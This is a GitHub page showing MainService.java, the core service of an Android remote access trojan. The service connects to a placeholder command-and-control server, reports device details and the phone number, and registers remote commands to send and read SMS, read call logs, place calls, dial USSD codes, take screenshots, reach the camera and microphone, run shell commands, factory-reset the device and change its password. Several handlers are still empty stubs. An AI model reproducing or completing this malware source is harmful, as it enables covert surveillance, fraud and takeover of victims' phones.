-
-
Notifications
You must be signed in to change notification settings - Fork 113
/
Copy pathMainService.java
330 lines (286 loc) · 11.5 KB
/
MainService.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
package com.ot.androidrat;
import android.Manifest;
import android.annotation.SuppressLint;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.util.Log;
import androidx.core.app.ActivityCompat;
import org.json.JSONException;
import org.json.JSONObject;
import java.net.URI;
import java.util.List;
import io.socket.client.IO;
import io.socket.client.Socket;
import io.socket.emitter.Emitter;
public class MainService extends Service {
Socket ioSocket = IO.socket(URI.create("http://C2_ADDRESS:5001"));
// @SuppressLint("HardwareIds") String device_id = Settings.Secure.getString(getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
String device_id = "device_id";
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
final Handler handler = new Handler();
final int delay = 1000; // 1000 milliseconds == 1 second
handler.postDelayed(new Runnable() {
@SuppressLint("HardwareIds")
public void run() {
try {
String manufacturer = Build.MANUFACTURER.substring(0, 1).toUpperCase() + Build.MANUFACTURER.substring(1);
String model = Build.MODEL;
int apiLevel = Build.VERSION.SDK_INT;
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
String imei = "imei placeholder";
String imsi = "imsi";
String phoneNumber = null;
if (ActivityCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.READ_PHONE_NUMBERS) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
phoneNumber = telephonyManager.getLine1Number();
}
JSONObject jsonObject = new JSONObject();
jsonObject.put("model", manufacturer + " " + model);
jsonObject.put("device_id", device_id);
jsonObject.put("api", apiLevel);
jsonObject.put("imei", imei);
if(phoneNumber != null){
jsonObject.put("phone", phoneNumber);
}else{
jsonObject.put("phone", "");
}
ioSocket.on("android value", args -> Log.i("socket", args[0].toString()));
ioSocket.on("0x0", sendSMS);
ioSocket.on("0x1", readSMS);
ioSocket.on("0x2", readCallLogs);
ioSocket.on("0x3", makePhoneCall);
ioSocket.on("0x4", dialUssd);
ioSocket.on("0x5", readContact);
ioSocket.on("0x6", writeContact);
ioSocket.on("0x7", screenshot);
ioSocket.on("0x8", getCameraList);
ioSocket.on("0x9", takePicture);
ioSocket.on("0xA", recordMicrophone);
ioSocket.on("0xB", shCommand);
ioSocket.on("0xC", listInstalledApps);
ioSocket.on("0xD", vibratePhone);
ioSocket.on("0xE", changeWallpaper);
ioSocket.on("0xF", factoryResetDevice);
ioSocket.on("0x10", rebootDevice);
ioSocket.on("0x11", changeDevicePassword);
if(!ioSocket.connected()){
ioSocket.connect();
ioSocket.emit("android_connect", jsonObject);
}
}catch (Exception ex){
Log.i("Socket", ex.getMessage());
}
Log.i("Service", "The service is working");
handler.postDelayed(this, delay);
}
}, delay);
return START_STICKY;
}
private Emitter.Listener sendSMS = new Emitter.Listener() {
@Override
public void call(Object... args) {
try{
int result = SMS.sendSMS(args[0].toString(), args[1].toString());
JSONObject jsonObject = new JSONObject();
jsonObject.put("device_id", device_id);
if (result == 0){
jsonObject.put("status", "success");
jsonObject.put("message", "SMS to " + args[1].toString() + " sent successfully");
} else{
jsonObject.put("status", "failed");
jsonObject.put("message", "SMS to " + args[1].toString() + " failed");
}
// emit result
} catch (Exception exception) {
Log.i("sendSMS", exception.getMessage());
}
}
};
private Emitter.Listener readSMS = new Emitter.Listener() {
@Override
public void call(Object... args) {
try {
JSONObject jsonObject = new JSONObject();
jsonObject.put("device_id", device_id);
jsonObject.put("data", SMS.readSMS(getApplicationContext()));
if (jsonObject.get("data") != null) {
jsonObject.put("status", "success");
jsonObject.put("message", "SMS successfully read");
// emit json
}else {
jsonObject.put("status", "failed");
jsonObject.put("message", "Failed to read SMS");
// emit failed
}
} catch (Exception exception) {
Log.i("readSMS", exception.getMessage());
}
}
};
private Emitter.Listener readCallLogs = new Emitter.Listener() {
@Override
public void call(Object... args) {
try {
JSONObject jsonObject = new JSONObject();
jsonObject = Voice.readCallLog(getApplicationContext());
if (jsonObject != null) {
// emit json
}else {
// emit failed
}
} catch (Exception exception) {
Log.i("readSMS", exception.getMessage());
}
}
};
private Emitter.Listener makePhoneCall = new Emitter.Listener() {
@Override
public void call(Object... args) {
try {
JSONObject jsonObject = new JSONObject();
int result = Voice.phoneCall(getApplicationContext(), args[0].toString());
jsonObject.put("device_id", device_id);
if (result == 0) {
jsonObject.put("status", "success");
jsonObject.put("message", "Calling " + args[0].toString());
// emit success
} else {
jsonObject.put("status", "failed");
jsonObject.put("message", "Call to " + args[0].toString() + " failed");
// emit failure
}
} catch (Exception exception) {
Log.i("readSMS", exception.getMessage());
}
}
};
private Emitter.Listener dialUssd = new Emitter.Listener() {
@Override
public void call(Object... args) {
String result = Voice.dialUSSD(args[0].toString(), getApplicationContext());
if(result == "No USSD code supplied") {
// emit fialed
} else if(result == "API level not supported"){
// emit somethibg
}
else{
// emit result
}
}
};
private Emitter.Listener takePicture = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener getCameraList = new Emitter.Listener() {
@Override
public void call(Object... args) {
JSONObject cameraList = Camera.findCameraList();
// check if camera list isn't null then emit
}
};
private Emitter.Listener screenshot = new Emitter.Listener() {
@Override
public void call(Object... args) {
ScreenCapture.screencap();
}
};
private Emitter.Listener changeWallpaper = new Emitter.Listener() {
@Override
public void call(Object... args) {
// verify if image was set or not
new SetWallpaper(getApplicationContext(), args[0].toString());
// emit
}
};
private Emitter.Listener recordMicrophone = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener listInstalledApps = new Emitter.Listener() {
@Override
public void call(Object... args) {
List installedApps = InstalledApps.getInstalledApps(getApplicationContext());
JSONObject jsonObject = new JSONObject();
try {
jsonObject.put("device_id", device_id);
jsonObject.put("data", installedApps.toString());
// if json data is empty emit failed else success
} catch (JSONException jsonException) {
jsonException.printStackTrace();
}
}
};
private Emitter.Listener vibratePhone = new Emitter.Listener() {
@Override
public void call(Object... args) {
Vibrate.vibratePhone(getApplicationContext(), Integer.parseInt(args[0].toString()));
}
};
private Emitter.Listener writeContact = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener readContact = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener resetPassword = new Emitter.Listener() {
@Override
public void call(Object... args) {
new DeviceManager(getApplicationContext(), new ComponentName(getApplicationContext(), MainActivity.class)).resetPassword("replace with new password");
}
};
private Emitter.Listener sendSerialCommand = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener shCommand = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener getLocation = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener changeDevicePassword = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener factoryResetDevice = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
private Emitter.Listener rebootDevice = new Emitter.Listener() {
@Override
public void call(Object... args) {
}
};
@Override
public void onDestroy() {
super.onDestroy();
}
@Override
public IBinder onBind(Intent intent) {
// TODO: Return the communication channel to the service.
throw new UnsupportedOperationException("Not yet implemented");
}
}